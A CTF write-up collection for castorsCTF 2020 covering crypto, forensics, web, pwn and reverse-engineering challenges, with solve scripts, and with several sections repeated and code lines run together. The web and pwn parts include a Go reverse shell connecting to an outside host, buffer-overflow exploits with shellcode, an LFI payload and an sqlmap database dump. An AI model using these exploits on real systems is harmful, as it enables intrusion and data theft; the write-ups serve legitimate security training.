## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
